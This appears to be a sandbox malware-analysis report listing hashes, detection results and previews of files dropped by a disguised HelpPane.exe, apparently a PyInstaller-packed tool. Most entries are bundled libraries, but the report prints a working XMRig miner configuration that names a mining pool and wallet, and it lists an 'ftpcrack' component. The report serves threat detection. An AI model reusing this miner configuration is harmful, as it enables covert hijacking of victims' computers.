Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\_MEI63722\config.json

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	4.312597830652666
Encrypted:	false
SSDEEP:	24:pCKENTHgbeZlE1jCAgFuPBdOgNanAOSWSula:UKuTHgbYlUgFu5drNAla
MD5:	42A60033B0CC3D34577AC729E10AB957
SHA1:	9F9E6AB8F51937754639FAE6B4B172025D5D825E
SHA-256:	5106382075DDAD29ECAA71FB572A03BCEFB586F0B1426BD9DE56B8BF1A82AF57
SHA-512:	42E0771378F46DDDAA02E58384A1077DDB43B738CD7F7A971A6889CB98BD169B6FB33EC5E68234981714A8A9A93C6A83259378573C034C32E87E626727B3CAB1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Local\Temp\_MEI63722\config.json, Author: Joe Security
Reputation:	unknown
Preview:	{. "algo": "cryptonight",. "api": {. "port": 0,. "access-token": null,. "id": null,. "worker-id": null,. "ipv6": false,. "restricted": true. },. "autosave": true,. "av": 0,. "background": true,. "colors": true,. "cpu-affinity": null,. "cpu-priority": null,. "donate-level": 1,. "huge-pages": true,. "hw-aes": null,. "log-file": null,. "max-cpu-usage": 70,. "pools": [. {. "url": "xmr.crypto-pool.fr:3333",. "user": "82njF53q92M2WJXCzMgasqjcLDqU2xSFt7ThkTXNEfwvG1YfJV1cfNBYVPHukzAcKK7g7QHFCoEqTZEYePrM5tmaSRsz4Xq",. "pass": "x",. "rig-id": null,. "nicehash": false,. "keepalive": false,. "variant": -1,. "enabled": true,. "tls": false,. "tls-fingerprint": null. }. ],. "print-time": 60,. "retries": 5,. "retry-pause": 5,. "safe": false,. "threads": [. {.

C:\Users\user\AppData\Local\Temp\_MEI63722\ftpcrack.exe.manifest

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1345
Entropy (8bit):	5.283640732769631
Encrypted:	false
SSDEEP:	24:2dtn3ZoWglN2v+zg4NnEN4XKDmc0+bLg4fNRme5rcb3S:ch3DgX2+zg4i0KDmJ+bLg4VRmemS
MD5:	B5DEA49B86C5BB5D9CD8D64A09F70065
SHA1:	487EF676EBD244EBC3CF197F70DA7A5E393FB96E
SHA-256:	78B1160F6ADAB34D144AD19A0F4B83F83453F1E18460BBDFBE17AD354B62AF7D
SHA-512:	1B5914F4C52F47A33C57F5F6428482E6766099BF43D4E8616CE4AABC4A917C24B2E0C98C841F0D7E7B8A202F40FF960885535539BF70CC7C7ED8687C7ECE010C
Malicious:	true
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">.. <assemblyIdentity name="ftpcrack" processorArchitecture="x86" type="win32" version="1.0.0.0"/>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.VC90.CRT" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b" type="win32" version="9.0.30729.6161"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"/>.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity language="*" name="Microsoft.Windows.Common-Controls" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" type="win32" version="6.0.0.0"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"/>.. </dependentAssembly>.. </dependency>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">.. <application>.. <supportedOS Id="{1f676c76-80e

C:\Users\user\AppData\Local\Temp\_MEI63722\httplib2\cacerts.txt

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	135546
Entropy (8bit):	6.039525643754334
Encrypted:	false
SSDEEP:	3072:FVrovvEjVplrqHSdX+zpfQq7ZiyZOF5mdFENAKHn1HtYfei8i31MCSjfpVpKbIcf:3cmHuBfaUFENX3YfEl3plcs+
MD5:	14BA876BA2515A25BBB511F24BF06653
SHA1:	291DCDEE67E880B21FD7001CB8350C3ECEE4CAC8
SHA-256:	2039836A620F956EC094EAAE7C9B41A04C76F31130898B11014D9E83C905F0DE
SHA-512:	5035F82DF06308A14F6626C54382B3AB34B6D664C8394B48F75275F69DCC2B93266D843B51F0B586E5F12FCD70FE3660B5B08AFC20738DF6D8C812592C0D71E4
Malicious:	false
Reputation:	unknown
Preview:	# Issuer: CN=GTE CyberTrust Global Root O=GTE Corporation OU=GTE CyberTrust Solutions, Inc..# Subject: CN=GTE CyberTrust Global Root O=GTE Corporation OU=GTE CyberTrust Solutions, Inc..# Label: "GTE CyberTrust Global Root".# Serial: 421.# MD5 Fingerprint: ca:3d:d3:68:f1:03:5c:d0:32:fa:b8:2b:59:e8:5a:db.# SHA1 Fingerprint: 97:81:79:50:d8:1c:96:70:cc:34:d8:09:cf:79:44:31:36:7e:f4:74.# SHA256 Fingerprint: a5:31:25:18:8d:21:10:aa:96:4b:02:c7:b7:c6:da:32:03:17:08:94:e5:fb:71:ff:fb:66:67:d5:e6:81:0a:36.-----BEGIN CERTIFICATE-----.MIICWjCCAcMCAgGlMA0GCSqGSIb3DQEBBAUAMHUxCzAJBgNVBAYTAlVTMRgwFgYD.VQQKEw9HVEUgQ29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNv.bHV0aW9ucywgSW5jLjEjMCEGA1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJv.b3QwHhcNOTgwODEzMDAyOTAwWhcNMTgwODEzMjM1OTAwWjB1MQswCQYDVQQGEwJV.UzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3liZXJU.cnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0IEds.b2JhbCBSb290MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCVD6C28FCc6HrH.iM3dFw4usJTQGz0

C:\Users\user\AppData\Local\Temp\_MEI63722\msvcm90.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	225280
Entropy (8bit):	6.034911041879855
Encrypted:	false
SSDEEP:	3072:6yZeocziNzMLSMOYscmLWbAX+dP4Upoh86Goao14JU87/amFYw8fF01OyASLE:PYOMqc8oAXGP4Upoe6fa3/amiX2Oyp
MD5:	D34A527493F39AF4491B3E909DC697CA
SHA1:	AFEE32FCD9CE160680371357A072F58C5F790D48
SHA-256:	7A74DA389FBD10A710C294C2E914DC6F18E05F028F07958A2FA53AC44F0E4B90
SHA-512:	0DABC5455EB02601D7C40A9C49B3ADE750B1118934EF3785FB314FA313437BC02B243571ABA25F1661A69DCEA36838530C12762A2E6602D14A9B03770A82CCA6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;...h...h...h..ah...h1.dh...h..gh...h...h...h.-.h...h...h...h..qh...h..vh...h..`h...h..fh...h..ch...hRich...h........................PE..L.....M...........!.....:..........Z........P....?x.........................0......^.....@......................... 3..4....&..d...............................d...P...............................H...@...............(...........p...H............text...T9.......:.................. ..`.data........P.......>..............@....rsrc................H..............@..@.reloc...#.......$...L..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI63722\msvcp90.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	335184
Entropy (8bit):	6.343962999919931
Encrypted:	false
SSDEEP:	6144:fmIIPLSg4p0t4271NWoSYEMS6VhUgiW6QR7t5183Ooc8SHkC2eQ:fmIeLSgo0S271QoSQhUgiW6QR7t51831
MD5:	92EA2DB0E788894C43753C550216A886
SHA1:	DA8C7A178BA0CA80D321666F5642A7436B640602
SHA-256:	9694756F43B20ABC50F95646C54E9E36CD6EDF8EED3DB846064567399F4E7566
SHA-512:	90E72A68C7267E8D0986A75247AE7B2339E4C2A981D686342B2EF90B1FCF9695B558D0BD5932F7C53524E02CC664B974BA76783FDE919B24EB36795DB3300BA6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........#%..Mv..Mv..Mv.66v..Mv...v..Mv..Lv:.Mv...v..Mv...v..Mv...v..Mv...v..Mv...v..Mv...v..Mv...v..MvRich..Mv........................PE..L.....M...........!................P.... ...0....Hx.........................0............@.........................p4..,....3.......0.......................&......................................()..H...........................................UPX0....................................UPX1......... ......................@....rsrc........0......................@..............................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\msvcr90.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	250192
Entropy (8bit):	7.900323441964523
Encrypted:	false
SSDEEP:	6144:EODM4c99eLswEOva4g4fpgMf4FfIoSNjbZdGJCJLuEyKIqqOmiqsEqmQI0wye/c:EODM1HagYaMf4FAoSNjHmHyyc
MD5:	199D34B03C7D0EB804A6D9869184B8D4
SHA1:	03148854519D0970C1BBDC089D3E8DE1AED61C47
SHA-256:	DF86421E354F817607F2BAFC9188569242FCF9DD564B28F3E2915C86A0BA1F54
SHA-512:	E4269CA993393422A90231DAABD390771A635EEB0817A9D00DCCEF496372BB4B57B615529F26A2E8132BDE825CDACA07D965D207421C02EA6471DA214354361E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................6.........!.R...7.....&.....0.....6.....3...Rich..........PE..L.....M...........!.....@.......0..0f...@........Rx......................................@.........................@....\|.....x....................................................................r..H...........................................UPX0.....0..............................UPX1.....@...@...4..................@....rsrc................8..............@..............................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\netifaces.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	7.145184945732974
Encrypted:	false
SSDEEP:	192:uKqSCMOF44HPPtLm+9a3ozToPmzYUaFaNJhLkwcud2DH9VwGfctH:ubS9s44vPtLR9aUPJ+aNJawcudoD7U
MD5:	C7807680A69196C3EE66C4CFB3E271AC
SHA1:	D3EA74C9E3B810C6A1EE4296B97E20F2F45C9461
SHA-256:	1A6C57AC8031582477B1D3463A65B6EB006EEA704E27C8C4B812B99EA910428D
SHA-512:	A5D893132AD889E98B434DA7FD5CA377AFB1800FD8D3230CCED5E9FDE576FCEC943DD22FA48810BA6D93C510EBAA8AC5A94EC1B9D639FD6C533C5BBD4737CF15
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FL...-...-...-...U...-...U...-...-..J-...U...-...U...-...U...-...U...-..Rich.-..........................PE..L...,.-\...........!.....0.......P...x...`..........................................................................4...P.......4...................................................................p...H...........................................UPX0.....P..............................UPX1.....0...`...&..................@...UPX2.................*..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\perfmon.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	6.948652527580434
Encrypted:	false
SSDEEP:	192:0xeSnTQM3MsUjU+viJBctKiyiLKPfFaNJhLkwcud2DH9VwGfct0XlpoI6J:0xe4R3scJBcMWYdaNJawcudoD7UmlSI
MD5:	EE813500A441B5FFDACD853E95BEE669
SHA1:	7F05F1493380AF3FE08F55524F6FF90C47C0CC4D
SHA-256:	AC491704AF920BE0E503F0243D2D371E230622E213E9F082347B52C0A7B009C2
SHA-512:	060D079A93ADD067EB062D2B1CB9977719BE68AE1223B0219DBB14CC9C6C66FF47D9929945636B577BC7F1BB84D5500B88ACD5F7BF636CC63BD4C88534AF724E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........0...c...c...c..9c...c.gc...c.qc...c.ac...c...c...c.vc...c.`c...c.cc...cRich...c................PE..L...C..[...........!.....0.......`.......p........n.................................................................t...L...P...$.......P...............................................................H...........................................UPX0.....`..............................UPX1.....0...p..."..................@....rsrc................&..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\psutil._psutil_windows.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	7.700665778298437
Encrypted:	false
SSDEEP:	384:3qUURhEUVDrn5EMvG04YMJIoa67+5pGr0qLWMAUm7NFYGz45/+aNJawcudoD7ULt:aUjUXBjPAGHqLm7N/z4dnbcuyD7UL
MD5:	2FC800FCC46A597921C2ED447AEB09AC
SHA1:	72004227E5C60C8460F835A170798AA22861B79E
SHA-256:	2E4AD3D08118DA77C928C4614BFECB34397CFAF53F5D46D7C7E5F1DA3172C1F1
SHA-512:	A17022B364615B45A1873AEA0DE922A2988E4D75A8F4E63ECB9CA7DD46263E684B1F28B82BD77B046BBE2AD03CE65C5DACF98EACCAE861A30F137E0118A87225
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E.6...X...X...X......X......X......X...Y...X......X......X......X.Rich..X.........PE..L...;b.\...........!.....`...................0...............................@.......................................2..\....0...............................2.......................................*..H...........................................UPX0....................................UPX1.....`.......\..................@...UPX2.........0.......`..............@......................................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\pyexpat.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	52736
Entropy (8bit):	7.904524114628073
Encrypted:	false
SSDEEP:	1536:omazZr7ECJ0E6kFg85F/rFi2LU60XZlofDYq0nouy8:9aFr9mE6kF7hrcCU6Qlewout
MD5:	AD560121EFD8E249FC3414200D98F75F
SHA1:	73040F9BC04E733A85DA00E364EF85583F505636
SHA-256:	0BEB3B16F9A11F93137365A1179D2062A414ADABA337BCAC05A083A921775B50
SHA-512:	6DA2B01773DCE658DCFD9219DD8D093F60EAFF669ED600C9A62EFC39FB3E362F051A499FAC85777C1B8F364B1AD2E134E080CAE720FC5477711A7ED7F191A5C7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2.\...\...\......\......\......\......\...]..\......\......\......\.Rich..\.................PE..L...4>CX...........!................Pj....................................................@............................L...................................$.......................................(v..H...........................................UPX0....................................UPX1................................@...UPX2................................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\python27.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	898048
Entropy (8bit):	7.990256946915668
Encrypted:	true
SSDEEP:	24576:I0cNEHSDC9XmwbTV/mv+nQW0mj7IaqtsoejWg3c:jHhmhmI9eo63
MD5:	8C44826A640B3CF0B32B0258C65FEE07
SHA1:	E3F9FE6366D0876BFA8B903B20D2ACF06416F1BC
SHA-256:	FBAD053D962BAC96865AC3372958D697711800FDC46F36C87011BB5E89026614
SHA-512:	884E2C01C088B9AE86D4605FED1CF8E9B17F99CF887EFC5644F4A91959ECD89148CCA3E9FDAA6AB9E8C4DFD2D61DBDFD442A95B13DAB7E5CD027B4782D473355
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#..^g.y.g.y.g.y....~.y.n...l.y.n...i.y.n...e.y.n...l.y.g.x.[.y.n.....y.n...f.y.n...f.y.n...f.y.Richg.y.................PE..L... >CX...........!.....0.......0...Z..@...p...............................+...........@.........................pz.t\|..,y.D....p.,...........................................................f.H...........................................UPX0.....0..............................UPX1.....0...@...(..................@....rsrc........p......,..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\pywintypes27.dll

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	7.425128830518154
Encrypted:	false
SSDEEP:	1536:eTwUerP24SfDRd2TACkwqyfnouy81cSPDuwQ0:eTleODRd2ew/Pout1cSru
MD5:	07B436BFA1C7B4FFC21FB39358158060
SHA1:	7F5A47CDAB9A7D93BBBD204CEDFFCA61D3F80C84
SHA-256:	82C2926CB03A04392FA479801D505E2A387446BCA978FF930177121DB2FDB461
SHA-512:	13EBCB83F478C859CA808003933769B84290E108648B69F33043653263C5B4BD37ED5CA8D521B46A1D9122EB232F7E5D05A25E16F250D5573CF85CD5CDEFB2EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qz.Y5...5...5....Tz.7...+Iy.6...+Io.8.....".4...+I..1.....'.>...5.......+Ih.$...+I~.4...+I}.4...Rich5...................PE..L...:..[...........!.........P............... ....z..........................p.......................................%..PJ..h#....... ..h...................Po..........................................H...........................................UPX0....................................UPX1.............\|..................@....rsrc....P... ...P..................@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\select.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	7.003407892450472
Encrypted:	false
SSDEEP:	192:qhogHS4TaqZXRQKKXYVEvySc3IFaNJhLkwcud2DH9VwGfctX:qhLS4TaqxhfCHc38aNJawcudoD7U
MD5:	57EB00056AC8C38CD4F3153FB9507F13
SHA1:	DDEE8E74FCC81B6301145F27C0F1CCF4B9185E1C
SHA-256:	7B90EC138AC8415D9B747612063D19147FEC2B1E99DE97C3B5636E8CA40B346E
SHA-512:	05F7EF6BD065D7DB3F41DFA95187FA40A14F58FA5D4705F2DF5982DB18EEB6D4E93C473D05932436BF645E76E0B23532867011E92EF953EC247B55648ED9C6EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i)...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...zRich...z........PE..L...5>CX...........!..... .......P..pq...`................................................@.............................H...................................H.......................................P}..H...........................................UPX0.....P..............................UPX1..... ...`......................@...UPX2................."..............@..............................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\servicemanager.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	7.2228399102917615
Encrypted:	false
SSDEEP:	384:FVtYwprbL7fLBtdYzKNg13ZOPaNJawcudoD7UfMX:vawBbLFYzKNg1plnbcuyD7UfMX
MD5:	6A95BCF45E4BE23CC2634EF5BAD17660
SHA1:	7D13B791588CB800C2ADD75FF8E74C3C493A8143
SHA-256:	60DA4B4E628B7DC1115615128AC554AEB29B50A61629AD5AEEB5CC9D2BD86202
SHA-512:	D3C80B025647444F42D42E82CAD50C4383728F7F8C9E16AA9D87450CA864B0B97B5F8F47E80328A4A2B67CE7D06C9A8F1DAE8C5B3C798DE1B2A50164161E69C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o....K...K...K...K...K...K...K...K...KR..K...K...K...K...K...K...K...K...K...K...K...KRich...K........................PE..L......[...........!.....@........................}.....................................................................\...........................................................................h...H...........................................UPX0....................................UPX1.....@.......4..................@....rsrc................8..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\unicodedata.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	181760
Entropy (8bit):	7.989160583257678
Encrypted:	false
SSDEEP:	3072:Rfe2dO8KvTdjKGssSXwgtXZT32qenyxHBKs//4wd3RP29sZ6lI883out:Rfe2bKvEw+k2kw/4wZRPS3coS
MD5:	9A465CFAA788E29E7B1366C012EBC75C
SHA1:	10D9C49BB6652D9B04E17608D9ED35B036112647
SHA-256:	35C84D824DB175DD71046806A59BC711021ABCE04698FA304B1E2A9855E50A9C
SHA-512:	31BEE259C78CEB1E4F5C52E7B2CBD0EB62A071FC9C748DF47AB824E383EFDC3B218168700341B96D139DABFB3E4D7644341F22E52982B7C7F135A9E35B300B00
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{H..?).?).?).6QE.=).6QS.1).6QT.=).6QC.8).?)..).6QY.>).6QB.>).6QA.>).Rich?).................PE..L...6>CX...........!......................................................................@.............................T...................................,.......................................x...H...........................................UPX0....................................UPX1................................@...UPX2................................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\win32api.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.794879575971907
Encrypted:	false
SSDEEP:	768:etKTLIw2eRBsqBvKddE/wW68vEvfW2qmSOyinbcuyD7Uqmx:DCeLrGderDH2FXyinouy8qmx
MD5:	42C475231F4835BB1A5F94B0D3DA4520
SHA1:	FCFAE296DD10C92D973A57D61BBF5C0F4A15ED6B
SHA-256:	87CEEB1B7586DB730F48988A07018F9C8AF57934FF7F173A869542207F46B0F1
SHA-512:	D1A699B8497E8843F990F6F719A904A7751FE2A9404CB195BE2D94341728A7372CD93D379B576E6031980E1DA53F2336805C6BF59E799B63565CD63D4931C02A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[-..L...L...L.......L.......L.......L...J..L...L..UM.......L.......L.......L..Rich.L..................PE..L......[...........!.............p.. ...............................................................................P.......X...........X...............................................................H....................B..@...................UPX0.....p..............................UPX1.............~..................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\win32event.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	6.799438399701252
Encrypted:	false
SSDEEP:	192:jNxmpzSvHU53Uon53eXqY1K/CjrELQc432Xq0FaNJhLkwcud2DH9VwGfctLj/t:Xmp2/UR95aP1pgEc432XBaNJawcudoDU
MD5:	796306BE7A1ABCFFB8853EE9CEB5BEAE
SHA1:	93762CF53958A3A99B674986FCF3C53C489133ED
SHA-256:	26E6D883E9E61BF872425526A9B8C7BB229C3B9D2F82BB3C0BF500660DBE1995
SHA-512:	5919A837FA1FCAEA91B14D02DA306928D5E523E4591DCA290422C9EB9BE15F2EE626A8379F5C953F2B08E7A6B2CD67618652B9EFA9ACE8ABD47A8BD7CD8C2F64
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........k..{8..{8..{8..8..{8..8..{8..8..{8 ..8..{8..z8..{8..8..{8..8..{8..8..{8Rich..{8................PE..L...T..[...........!.....0..............................................................................................P...`...\.......`...........................................................h...H...........................................UPX0....................................UPX1.....0......."..................@....rsrc................&..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\win32evtlog.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	19968
Entropy (8bit):	7.436093769968754
Encrypted:	false
SSDEEP:	384:Wo5FgP/m1xaGAONAt4ZvFqQggg3LgsAWUh31lA2W1waNJawcudoD7UGwGS:WmuP+TOONp5UQ/Zs8FlAfnbcuyD7UGwX
MD5:	317360BE68901D11F3D02AF1C151A4DC
SHA1:	570BF03BE1A737CF3D0CF3FC8E77261CF64E2051
SHA-256:	AC9C5C4BAA4DE19BDDF55313F29182F26EB80312C31266413672C61424A5C6E0
SHA-512:	25C25C23DD4FE1957CDFAD833D4570553C2627775008F3939525B6A3D1892F8B6CB7A9F20D454166338DF4DFC8A98306A1160016AE4CB2E9464944945AFA0A82
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..i+..i+..i+.E&...i+..;...i+..;...i+..;...i+.%...i+..i*.hi+..;...i+..;...i+..;...i+..;...i+.Rich.i+.................PE..L......[...........!.....P...................0...............................@.......................................4..T....3..P....0......................L5.......................................!..H.......................@...................UPX0....................................UPX1.....P.......D..................@....rsrc........0.......H..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\win32service.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	7.513143648749714
Encrypted:	false
SSDEEP:	384:DvSTTJQxdZ3goCVdvSbw66apC1aNJawcudoD7U46:LSTT+1KF1onbcuyD7U46
MD5:	F23A62491BD945C050E3E1D13909E9E7
SHA1:	B8DAC4E00163533157A17E3B56D05E049A2375A2
SHA-256:	E52B5532A6764AAAE67DB557412B3F77EBDC8A14A72771A1C6414A83BB3FC15C
SHA-512:	52200CF9687752DB43BBAE703192C841694D5BD976FA56C0F25E0478CFB97681BC77677C1A8907167612DDF9FE6A561945FBEB0180022670AF97BF41B5B11766
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........[..[..[.....Z..E.-.Z..E.;.V..E.+.]...!s.\..[.....E.<.^..E.*.Z..E.,.Z..E.).Z..Rich[..........PE..L...q..[...........!.....@..........................................................................................8...T...............................................................................H...........................................UPX0....................................UPX1.....@.......>..................@....rsrc................B..............@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

